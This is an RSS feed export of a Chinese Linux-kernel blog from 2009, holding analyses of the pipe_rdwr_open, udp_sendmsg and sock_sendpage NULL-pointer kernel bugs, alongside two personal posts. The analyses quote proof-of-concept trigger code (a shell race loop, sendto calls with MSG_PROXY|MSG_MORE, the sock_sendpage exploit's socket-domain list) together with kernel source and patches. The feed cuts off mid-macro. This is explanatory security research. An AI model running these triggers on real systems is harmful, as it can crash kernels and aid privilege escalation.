<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[WZT的自由世界]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[Linux内核分析与编程]]></description>
<link>http://hi.baidu.com/wzt85</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[关于最近那个linux kernel pipe_rdwr_open漏洞]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/0ad72e13ea6c6b8a6538db80.html]]></link>
        <description><![CDATA[
		
		漏洞公告是11.3号发出的， exp试了几个版本的都无效， 不过漏洞还是有的， 只是很难触发。公告上给出了一个poc：<br>
http://www.nsfocus.net/vulndb/14025<br>
while : ; do<br>
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &amp;<br>
PID=$!<br>
OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |<br>
{ read PID REST ; echo $PID; } )<br>
OUT=&quot;${OUT%% *}&quot;<br>
DELAY=$((RANDOM * 1000 / 32768))<br>
usleep $((DELAY * 1000 + RANDOM % 1000 ))<br>
echo n &gt; /proc/$OUT/fd/1&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; # Trigger defect<br>
done<br>
这显然是从lkml上抄下来的。 这个漏洞在10.14号的内核邮件列表中就被人报了上来， 那个poc就是漏洞作者提供的， 但是人家还在下面说了：<br>
<br>
The window for failure is small. It's easiest to reproduce<br>
this problem by stalling pipe_rdwr_open() to open up the<br>
window:<br>
<br>
--- <span class="il">pipe</span>.<span class="il">c</span>.orig 2009-10-15 20:33:53.000000000 -0700<br>
+++ <span class="il">pipe</span>.<span class="il">c</span> &#160; &#160; &#160;2009-10-15 20:17:40.000000000 -0700<br>
@@ -736,2 +736,3 @@<br>
{<br>
+ &#160; &#160; &#160; msleep(100);
<div class="im"><br>
mutex_lock(&amp;inode-&gt;i_mutex);</div>
With the failure window widened, it's easy to reproduce<br>
the failure with:<br>
<br>
------------------------------
<div class="ii gt"><wbr></wbr>------------------------------<wbr></wbr>--<br>
#!/bin/sh<br>
<br>
while : ; do
<div class="im"><br>
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &amp;<br>
PID=$!<br>
OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |</div>
<div class="im">&#160; &#160; &#160; { read PID REST ; echo $PID; } )<br>
OUT=&quot;${OUT%% *}&quot;<br>
DELAY=$((RANDOM * 1000 / 32768))<br>
usleep $((DELAY * 1000 + RANDOM % 1000 ))</div>
<div class="im">&#160;echo n &gt; /proc/$OUT/fd/1</div>
done</div>
<br>
要在pipe_rdwr_open函数中插入一段休眠代码， 在用那个poc才能很容易的触发空指针漏洞。<br>
<br>
另外关于公告给出了一个lkml上的链接：<br>
http://lkml.org/lkml/2009/10/14/184<br>
这使很多人认为漏洞的产生原因是作者说的那个假设的条件发生时， 但作者在随后的邮件中又说了这个代码是没问题。 真正产生漏洞的原因是在sys_open到pipe_rdwr_open执行这段时间内， 代码还没获得fifo文件的inode结构， 进而还没获得锁的这么一个非常非常小的时间内， 有其他进程关闭了这个fifo文件， 释放了pipe_inode_info结构， 导致pipe_rdwr_open继续执行的时候到了&#160;&#160;&#160;&#160;&#160;&#160;&#160; <br>
if (filp-&gt;f_mode &amp; FMODE_READ)<br>
inode-&gt;i_pipe-&gt;readers++;<br>
引发了oops。<br>
<br>
另外exp作者给出的poc在某些内核版本中确实可以被触发oops， 但是个人觉得管道这块还是会存在很多问题的， 继续关注邮件列表 。<br> <a href="http://hi.baidu.com/wzt85/blog/item/0ad72e13ea6c6b8a6538db80.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Kernel">Kernel</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/0ad72e13ea6c6b8a6538db80.html#comment">查看评论</a>]]></description>
        <pubDate>2009-11-10  09:29</pubDate>
        <category><![CDATA[Kernel]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/0ad72e13ea6c6b8a6538db80.html</guid>
</item>

<item>
        <title><![CDATA[星际水平大涨]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/b4f53a4488de6746510ffe9c.html]]></link>
        <description><![CDATA[
		
		最近都打星际去了， 忘了看书了， 不过水平大涨， 哈哈！ 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Life">Life</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/b4f53a4488de6746510ffe9c.html#comment">查看评论</a>]]></description>
        <pubDate>2009-10-28  20:04</pubDate>
        <category><![CDATA[Life]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/b4f53a4488de6746510ffe9c.html</guid>
</item>

<item>
        <title><![CDATA[程序员如何泡妞]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/6da43835fe64e51b91ef39ee.html]]></link>
        <description><![CDATA[
		
		今天看《天天向上》，请来了一个搞运动的帅哥， 底下传了无数女生的尖叫。。。这个心理不平衡啊，这人长的帅就是惹女生喜欢啊。 这人要是不帅， 有钱也行啊。但是像我们这种没钱，没房，没车，长的又对不起mm的程序员来说，泡妞确实比写程序难多了。我们这群代码猴子整天对着屏幕，一坐就是几小时， 除了写代码外就是调试代码了。mm们不喜欢我们啊， 咋办。 你说这写程序怎么能泡上妞呢。 不管了， 打星际。。。 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Life">Life</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/6da43835fe64e51b91ef39ee.html#comment">查看评论</a>]]></description>
        <pubDate>2009-09-11  20:59</pubDate>
        <category><![CDATA[Life]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/6da43835fe64e51b91ef39ee.html</guid>
</item>

<item>
        <title><![CDATA[udp_sendmsg空指针漏洞分析]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/01c7f79052cd8584a877a4c4.html]]></link>
        <description><![CDATA[
		
		udp_sendmsg空指针漏洞分析&#160;&#160;&#160; by wzt<br>
<br>
漏洞描述：<br>
<br>
由于Linux ipv4协议栈中udp_sendmsg()函数设计上存在缺陷， 导致struct rtable *rt以空指针形式传递给ip_append_data(), 从而引发kernel oops, <br>
攻击者可以利用此漏洞提升进程权限。漏洞影响2.6.19以下的版本。<br>
<br>
漏洞成因:<br>
<br>
&gt;&gt; linux+v2.6.18/net/ipv4/udp.c<br>
<br>
int udp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,<br>
size_t len)<br>
{<br>
...<br>
// rt被初始化成NULL<br>
struct rtable *rt = NULL;<br>
...<br>
// Linux udp协议允许多个udp数据包合并成一个发送出去，提高发送效率。<br>
// 判断是否有更多的数据需要发送, 攻击者可以构造多个sendto/sendmsg调用， 并且配合MSG_PROXY|MSG_MORE标志， 进而绕过对rt的设置。<br>
if (up-&gt;pending) {<br>
/*<br>
* There are pending frames.<br>
* The socket lock must be held while it's corked.<br>
*/<br>
lock_sock(sk);<br>
if (likely(up-&gt;pending)) {<br>
if (unlikely(up-&gt;pending != AF_INET)) {<br>
release_sock(sk);<br>
return -EINVAL;<br>
}<br>
// 将数据发送出去<br>
goto do_append_data;<br>
}<br>
release_sock(sk);<br>
}<br>
<br>
...<br>
// rt直接以NULL传递给ip_append_data, ip_append_data没有判断空指针情况， 从而引发漏洞<br>
do_append_data:<br>
up-&gt;len += ulen;<br>
err = ip_append_data(sk, ip_generic_getfrag, msg-&gt;msg_iov, ulen,<br>
sizeof(struct udphdr), &amp;ipc, rt,<br>
corkreq ? msg-&gt;msg_flags|MSG_MORE : msg-&gt;msg_flags);<br>
...<br>
}<br>
<br>
如何触发漏洞：<br>
<br>
<br>
if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){<br>
perror(&quot;[-] socket()&quot;);<br>
return -1;<br>
}<br>
x0x.sa_family=AF_UNSPEC;<br>
memset(x0x.sa_data,0x82,14);<br>
memset((char *)buf,0,sizeof(buf));<br>
sendto(fd,buf,1024,MSG_PROXY | MSG_MORE,&amp;x0x,sizeof(x0x));<br>
sendto(fd,buf,1024,0,&amp;x0x,sizeof(x0x));<br>
<br>
socket的中断服务程序是sys_socketcall， 在linux-2.6.18/net/socket.c中:<br>
<br>
&gt;&gt; sys_socketcall将会调用sys_socket<br>
asmlinkage long sys_socketcall(int call, unsigned long __user *args)<br>
{<br>
...<br>
switch(call)<br>
{<br>
case SYS_SOCKET:<br>
err = sys_socket(a0,a1,a[2]);<br>
break;<br>
...<br>
<br>
}<br>
<br>
&gt;&gt; sys_socket调用sock_create进行初始化， 然后调用sock_map_fd与sockfs文件系统进行挂接。<br>
asmlinkage long sys_socket(int family, int type, int protocol)<br>
{<br>
int retval;<br>
struct socket *sock;<br>
<br>
retval = sock_create(family, type, protocol, &amp;sock);<br>
if (retval &lt; 0)<br>
goto out;<br>
<br>
retval = sock_map_fd(sock);<br>
if (retval &lt; 0)<br>
goto out_release;<br>
<br>
out:<br>
/* It may be already another descriptor 8) Not kernel problem. */<br>
return retval;<br>
<br>
out_release:<br>
sock_release(sock);<br>
return retval;<br>
}<br>
<br>
<br>
&gt;&gt; sock_create<br>
int sock_create(int family, int type, int protocol, struct socket **res)<br>
{<br>
return __sock_create(family, type, protocol, res, 0);<br>
}<br>
<br>
&gt;&gt; __sock_create<br>
static int __sock_create(int family, int type, int protocol, struct socket **res, int kern)<br>
{<br>
// 分配sock结构并进行填充<br>
if (!(sock = sock_alloc())) {<br>
if (net_ratelimit())<br>
printk(KERN_WARNING &quot;socket: no more sockets\n&quot;);<br>
err = -ENFILE;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; /* Not exactly a match, but its the closest posix thing */<br>
goto out;<br>
}<br>
<br>
...<br>
// 这里进行具体协议的初始化操作， 执行ipv4驱动的create函数， 这个指针是在ipx驱动加载到内核时初始化的<br>
if ((err = net_families[family]-&gt;create(sock, protocol)) &lt; 0) {<br>
sock-&gt;ops = NULL;<br>
goto out_module_put;<br>
}<br>
...<br>
}<br>
<br>
继续跟踪ipv4驱动的初始化过程， /linux-2.6.18/net/ipv4/af_inet.c：<br>
static int __init inet_init(void)<br>
{<br>
// 注册ipv4的struct net_proto_family操作函数<br>
(void)sock_register(&amp;inet_family_ops);<br>
}<br>
<br>
&gt;&gt; sock_register<br>
int sock_register(struct net_proto_family *ops)<br>
{<br>
...<br>
net_family_write_lock();<br>
err = -EEXIST;<br>
if (net_families[ops-&gt;family] == NULL) {<br>
//将ops指针赋值给net_families[ops-&gt;family]<br>
net_families[ops-&gt;family]=ops;<br>
err = 0;<br>
}<br>
}<br>
<br>
// 从这里可以看出__sock_create中的net_families[family]-&gt;create函数是在这里进行初始化的。<br>
static struct net_proto_family inet_family_ops = {<br>
.family = PF_INET,<br>
.create = inet_create,<br>
.owner&#160; = THIS_MODULE,<br>
};<br>
<br>
<br>
继续跟踪inet_create函数：<br>
<br>
static int inet_create(struct socket *sock, int protocol)<br>
{<br>
struct sock *sk;<br>
struct list_head *p;<br>
struct inet_protosw *answer;<br>
struct inet_sock *inet;<br>
struct proto *answer_prot;<br>
<br>
...<br>
// 设置sock-&gt;ops;<br>
sock-&gt;ops = answer-&gt;ops;<br>
...<br>
// 设置sk-&gt;sk_prot<br>
sk = sk_alloc(PF_INET, GFP_KERNEL, answer_prot, 1);<br>
<br>
...<br>
}<br>
<br>
onst struct proto_ops inet_dgram_ops = {<br>
.family&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = PF_INET,<br>
.owner&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = THIS_MODULE,<br>
.release&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = inet_release,<br>
.bind&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = inet_bind,<br>
.connect&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = inet_dgram_connect,<br>
.socketpair&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_no_socketpair,<br>
.accept&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_no_accept,<br>
.getname&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = inet_getname,<br>
.poll&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = udp_poll,<br>
.ioctl&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = inet_ioctl,<br>
.listen&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_no_listen,<br>
.shutdown&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = inet_shutdown,<br>
.setsockopt&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_common_setsockopt,<br>
.getsockopt&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_common_getsockopt,<br>
.sendmsg&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = inet_sendmsg,<br>
.recvmsg&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_common_recvmsg,<br>
.mmap&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_no_mmap,<br>
.sendpage&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = inet_sendpage,<br>
#ifdef CONFIG_COMPAT<br>
.compat_setsockopt = compat_sock_common_setsockopt,<br>
.compat_getsockopt = compat_sock_common_getsockopt,<br>
#endif<br>
};<br>
<br>
static struct inet_protosw inetsw_array[] =<br>
{<br>
{<br>
.type =&#160;&#160;&#160;&#160;&#160;&#160; SOCK_STREAM,<br>
.protocol =&#160;&#160; IPPROTO_TCP,<br>
.prot =&#160;&#160;&#160;&#160;&#160;&#160; &amp;tcp_prot,<br>
.ops =&#160;&#160;&#160;&#160;&#160;&#160;&#160; &amp;inet_stream_ops,<br>
.capability = -1,<br>
.no_check =&#160;&#160; 0,<br>
.flags =&#160;&#160;&#160;&#160;&#160; INET_PROTOSW_PERMANENT |<br>
INET_PROTOSW_ICSK,<br>
},<br>
<br>
{<br>
.type =&#160;&#160;&#160;&#160;&#160;&#160; SOCK_DGRAM,<br>
.protocol =&#160;&#160; IPPROTO_UDP,<br>
.prot =&#160;&#160;&#160;&#160;&#160;&#160; &amp;udp_prot,<br>
.ops =&#160;&#160;&#160;&#160;&#160;&#160;&#160; &amp;inet_dgram_ops,<br>
.capability = -1,<br>
.no_check =&#160;&#160; UDP_CSUM_DEFAULT,<br>
.flags =&#160;&#160;&#160;&#160;&#160; INET_PROTOSW_PERMANENT,<br>
},<br>
<br>
<br>
{<br>
.type =&#160;&#160;&#160;&#160;&#160;&#160; SOCK_RAW,<br>
.protocol =&#160;&#160; IPPROTO_IP,&#160;&#160;&#160;&#160;&#160;&#160;&#160; /* wild card */<br>
.prot =&#160;&#160;&#160;&#160;&#160;&#160; &amp;raw_prot,<br>
.ops =&#160;&#160;&#160;&#160;&#160;&#160;&#160; &amp;inet_sockraw_ops,<br>
.capability = CAP_NET_RAW,<br>
.no_check =&#160;&#160; UDP_CSUM_DEFAULT,<br>
.flags =&#160;&#160;&#160;&#160;&#160; INET_PROTOSW_REUSE,<br>
}<br>
};<br>
<br>
通过inet_register_protosw函数将以上数据结构关联起来，sys_sendto函数将会用到。<br>
<br>
asmlinkage long sys_sendto(int fd, void __user * buff, size_t len, unsigned flags,<br>
struct sockaddr __user *addr, int addr_len)<br>
{<br>
...<br>
err = sock_sendmsg(sock, &amp;msg, len);<br>
...<br>
}<br>
<br>
int sock_sendmsg(struct socket *sock, struct msghdr *msg, size_t size)<br>
{<br>
...<br>
ret = __sock_sendmsg(&amp;iocb, sock, msg, size);<br>
...<br>
}<br>
<br>
static inline int __sock_sendmsg(struct kiocb *iocb, struct socket *sock,<br>
struct msghdr *msg, size_t size)<br>
{<br>
...<br>
// 通过前面的分析可以知道sock-&gt;ops-&gt;sendmsg函数调用的就是udp_sendmsg(), 此函数存在设计缺陷， 从而引发漏洞。<br>
return sock-&gt;ops-&gt;sendmsg(iocb, sock, msg, size);<br>
...<br>
}<br>
<br>
如何修补：<br>
<br>
一、Linux kernel社区已经发出补丁：<br>
<br>
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;f=net/ipv4/udp.c;h=865d75214a9ab1d741f3d8351359e95a0d8394e7;hp=6d6142f9c478baa8c85dcf1d174a5a88f66d783a;hb=1e0c14f49d6b393179f423abbac47f85618d3d46;hpb=132a55f3c5c0b1a364d32f65595ad8838c30a60e<br>
<br>
diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c<br>
index 6d6142f..865d752 100644 (file)<br>
<br>
--- a/net/ipv4/udp.c<br>
+++ b/net/ipv4/udp.c<br>
@@ -675,6 +675,8 @@ do_append_data:<br>
udp_flush_pending_frames(sk);<br>
else if (!corkreq)<br>
err = udp_push_pending_frames(sk, up);<br>
+&#160;&#160;&#160;&#160;&#160;&#160; else if (unlikely(skb_queue_empty(&amp;sk-&gt;sk_write_queue)))<br>
+&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; up-&gt;pending = 0;<br>
release_sock(sk);<br>
<br>
out:<br>
<br>
二、redhat补丁 RHSA-2009:1223 – Security Advisory&#160; https://rhn.redhat.com/rhn/errata/details/Packages.do?eid=8969<br>
<br>
三、 邮件列表给出的另一个补丁， 只能用在最新的内核上， 所以并不是这个漏洞的补丁。<br>
<br>
<br>
diff -r b3cbf0ceeb34 net/ipv4/ip_output.c<br>
--- a/net/ipv4/ip_output.c&#160;&#160;&#160;&#160;&#160; Mon Aug 24 14:48:29 2009 +0200<br>
+++ b/net/ipv4/ip_output.c&#160;&#160;&#160;&#160;&#160; Thu Aug 27 15:20:36 2009 +0200<br>
@@ -814,6 +814,8 @@<br>
inet-&gt;cork.addr = ipc-&gt;addr;<br>
}<br>
rt = *rtp;<br>
+&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; if (unlikely(!rt))<br>
+&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; return -EFAULT;<br>
/*<br>
* We steal reference to this route, caller should not release it<br>
*/ <a href="http://hi.baidu.com/wzt85/blog/item/01c7f79052cd8584a877a4c4.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/wzt85/blog/category/Kernel">Kernel</a>&nbsp;<a href="http://hi.baidu.com/wzt85/blog/item/01c7f79052cd8584a877a4c4.html#comment">查看评论</a>]]></description>
        <pubDate>2009-09-07  09:19</pubDate>
        <category><![CDATA[Kernel]]></category>
        <author><![CDATA[wzt85]]></author>
		<guid>http://hi.baidu.com/wzt85/blog/item/01c7f79052cd8584a877a4c4.html</guid>
</item>

<item>
        <title><![CDATA[Linux sock_sendpage空指针漏洞分析]]></title>
        <link><![CDATA[http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html]]></link>
        <description><![CDATA[
		
		Linux sock_sendpage空指针漏洞分析<br>
<br>
&gt;&gt; linux-2.6.18/net/socket.c<br>
<br>
static ssize_t sock_sendpage(struct file *file, struct page *page,<br>
int offset, size_t size, loff_t *ppos, int more)<br>
{<br>
struct socket *sock;<br>
int flags;<br>
<br>
sock = file-&gt;private_data;<br>
<br>
flags = !(file-&gt;f_flags &amp; O_NONBLOCK) ? 0 : MSG_DONTWAIT;<br>
if (more)<br>
flags |= MSG_MORE;<br>
<br>
return sock-&gt;ops-&gt;sendpage(sock, page, offset, size, flags);<br>
}<br>
sock_sendpage函数没有判断sock-&gt;ops-&gt;sendpage函数指针是否为空，就进行了引用。空指针的存在是由于某些协议的驱动程序<br>
没有正确的初始化函数指针造成的。 exp作者给出的协议驱动程序包括pppox, bluetooth, appletalk, ipx, sctp等。下面以ipx协议<br>
为例， 说明这个漏洞是如何形成的以及如何来触发.<br>
<br>
exp代码：<br>
const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 },<br>
{PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 },<br>
{PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 },<br>
{PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 },<br>
{PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP },<br>
{PF_PPPOX, SOCK_DGRAM, 0 },<br>
{PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP },<br>
{DOMAINS_STOP, 0, 0 }<br>
};<br>
<br>
for (; domains[d][0] != DOMAINS_STOP; d++) {<br>
if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) &gt;= 0)<br>
break;<br>
}<br>
<br>
替换成ipx协议就是：<br>
out = socket(PF_IPX,&#160; SOCK_DGRAM, 0);<br>
建立以个PF_IPX协议的套接字接口。 看下这个在内核中是如何实现的：<br>
<br>
socket的中断服务程序是sys_socketcall， 在linux-2.6.18/net/socket.c中:<br>
<br>
&gt;&gt; sys_socketcall将会调用sys_socket<br>
asmlinkage long sys_socketcall(int call, unsigned long __user *args)<br>
{<br>
...<br>
switch(call)<br>
{<br>
case SYS_SOCKET:<br>
err = sys_socket(a0,a1,a[2]);<br>
break;<br>
...<br>
<br>
}<br>
<br>
&gt;&gt; sys_socket调用sock_create进行初始化， 然后调用sock_map_fd与sockfs文件系统进行挂接。<br>
asmlinkage long sys_socket(int family, int type, int protocol)<br>
{<br>
int retval;<br>
struct socket *sock;<br>
<br>
retval = sock_create(family, type, protocol, &amp;sock);<br>
if (retval &lt; 0)<br>
goto out;<br>
<br>
retval = sock_map_fd(sock);<br>
if (retval &lt; 0)<br>
goto out_release;<br>
<br>
out:<br>
/* It may be already another descriptor 8) Not kernel problem. */<br>
return retval;<br>
<br>
out_release:<br>
sock_release(sock);<br>
return retval;<br>
}<br>
<br>
<br>
&gt;&gt; sock_create<br>
int sock_create(int family, int type, int protocol, struct socket **res)<br>
{<br>
return __sock_create(family, type, protocol, res, 0);<br>
}<br>
<br>
&gt;&gt; __sock_create<br>
static int __sock_create(int family, int type, int protocol, struct socket **res, int kern)<br>
{ <br>
// 分配sock结构并进行填充<br>
if (!(sock = sock_alloc())) {<br>
if (net_ratelimit())<br>
printk(KERN_WARNING &quot;socket: no more sockets\n&quot;);<br>
err = -ENFILE;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; /* Not exactly a match, but its the<br>
closest posix thing */<br>
goto out;<br>
}<br>
<br>
...<br>
// 这里进行具体协议的初始化操作， 执行ipx驱动的create函数， 这个指针是在ipx驱动加载到<br>
内核时初始化的<br>
if ((err = net_families[family]-&gt;create(sock, protocol)) &lt; 0) {<br>
sock-&gt;ops = NULL;<br>
goto out_module_put;<br>
}<br>
...<br>
}<br>
<br>
继续跟踪ipx驱动的初始化过程， /linux-2.6.18/net/ipx/af_ipx.c：<br>
static int __init ipx_init(void)<br>
{<br>
// 注册ipx协议<br>
int rc = proto_register(&amp;ipx_proto, 1);<br>
<br>
if (rc != 0)<br>
goto out;<br>
<br>
// 注册协议的操作函数， bug由此开始生成<br>
sock_register(&amp;ipx_family_ops);<br>
...<br>
}<br>
<br>
&gt;&gt; sock_register<br>
int sock_register(struct net_proto_family *ops)<br>
{<br>
...<br>
net_family_write_lock();<br>
err = -EEXIST;<br>
if (net_families[ops-&gt;family] == NULL) {<br>
将ops指针赋值给net_families[ops-&gt;family]<br>
net_families[ops-&gt;family]=ops;<br>
err = 0;<br>
}<br>
}<br>
<br>
// 从这里可以看出__sock_create中的net_families[family]-&gt;create函数是在这里进行初始化的。<br>
static struct net_proto_family ipx_family_ops = {<br>
.family&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = PF_IPX,<br>
.create&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = ipx_create,<br>
.owner&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = THIS_MODULE,<br>
};<br>
<br>
继续跟踪ipx_create函数：<br>
<br>
static int ipx_create(struct socket *sock, int protocol)<br>
{<br>
...<br>
这个对sock的ops结构进行赋值<br>
sock-&gt;ops = &amp;ipx_dgram_ops;<br>
...<br>
}<br>
<br>
static const struct proto_ops SOCKOPS_WRAPPED(ipx_dgram_ops) = {<br>
.family&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = PF_IPX,<br>
.owner&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = THIS_MODULE,<br>
.release&#160;&#160;&#160;&#160;&#160;&#160;&#160; = ipx_release,<br>
.bind&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = ipx_bind,<br>
.connect&#160;&#160;&#160;&#160;&#160;&#160;&#160; = ipx_connect,<br>
.socketpair&#160;&#160;&#160;&#160; = sock_no_socketpair,<br>
.accept&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_no_accept,<br>
.getname&#160;&#160;&#160;&#160;&#160;&#160;&#160; = ipx_getname,<br>
.poll&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = datagram_poll,<br>
.ioctl&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = ipx_ioctl,<br>
#ifdef CONFIG_COMPAT<br>
.compat_ioctl&#160;&#160; = ipx_compat_ioctl,<br>
#endif<br>
.listen&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_no_listen,<br>
.shutdown&#160;&#160;&#160;&#160;&#160;&#160; = sock_no_shutdown, /* FIXME: support shutdown */<br>
.setsockopt&#160;&#160;&#160;&#160; = ipx_setsockopt,<br>
.getsockopt&#160;&#160;&#160;&#160; = ipx_getsockopt,<br>
.sendmsg&#160;&#160;&#160;&#160;&#160;&#160;&#160; = ipx_sendmsg,<br>
.recvmsg&#160;&#160;&#160;&#160;&#160;&#160;&#160; = ipx_recvmsg,<br>
.mmap&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; = sock_no_mmap,<br>
.sendpage&#160;&#160;&#160;&#160;&#160;&#160; = sock_no_sendpage,<br>
};<br>
我们在这里看到.sendpage结构本以为是被sock_no_sendpage给赋值了， 但是SOCKOPS_WRAPPED这个宏出现了个严重的bug，<br>
实际上是没有对.sendpage进行初始化的， 直接导致了sendpage没被赋值， 这个漏洞由此生成。<br>
<br>
#define SOCKOPS_WRAP(name, fam)&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
SOCKCALL_WRAP(name, release, (struct socket *sock), (sock))&#160;&#160;&#160;&#160; \<br>
SOCKCALL_WRAP(name, bind, (struct socket *sock, struct sockaddr *uaddr, int addr_len), \<br>
(sock, uaddr, addr_len))&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
SOCKCALL_WRAP(name, connect, (struct socket *sock, struct sockaddr * uaddr, \<br>
int addr_len, int flags),&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
(sock, uaddr, addr_len, flags))&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
SOCKCALL_WRAP(name, socketpair, (struct socket *sock1, struct socket *sock2), \<br>
(sock1, sock2))&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; \<br>
SOCKCALL_WRAP(name, accept, (struct socket *sock, struct socket *newsock, \<br>
int flags), (sock, newsock, flags)) \<br>
SOCKCALL_WRAP(name, getname, (struct socket *sock, struct sockaddr *uaddr, \<br>
int *addr_len, int peer), (sock, uaddr, addr_len, peer)) \<br>
SOCKCALL_UWRAP(name, poll, (struct file *file, struct socket *sock, struct poll_table_struct *wait), \<br>
(file, sock, wait)) \<br>
SOCKCALL_WRAP(name, ioctl, (struct socket *sock, unsigned int cmd, \<br>
unsigned long arg), (sock, cmd, arg)) \<br>
SOCKCALL_WRAP(name, compat_ioctl, (struct socket *sock, unsigned int cmd, \<br>
unsigned long arg), (sock, cmd, arg)) \<br>
SOCKCALL_WRAP(name, listen, (struct socket *sock, int len), (sock, len)) \<br>
SOCKCALL_WRAP(name, shutdown, (struct socket *sock, int flags), (sock, flags)) \<br>
SOCKCALL_WRAP(name, setsockopt, (struct socket *sock, int level, int optname, \<br>
char __user *optval, int optlen), (sock, level, optname, optval, optlen)) \<br>
SOCKCALL_WRAP(name, getsockopt, (struct socket *sock, int level, int optname, \<br>
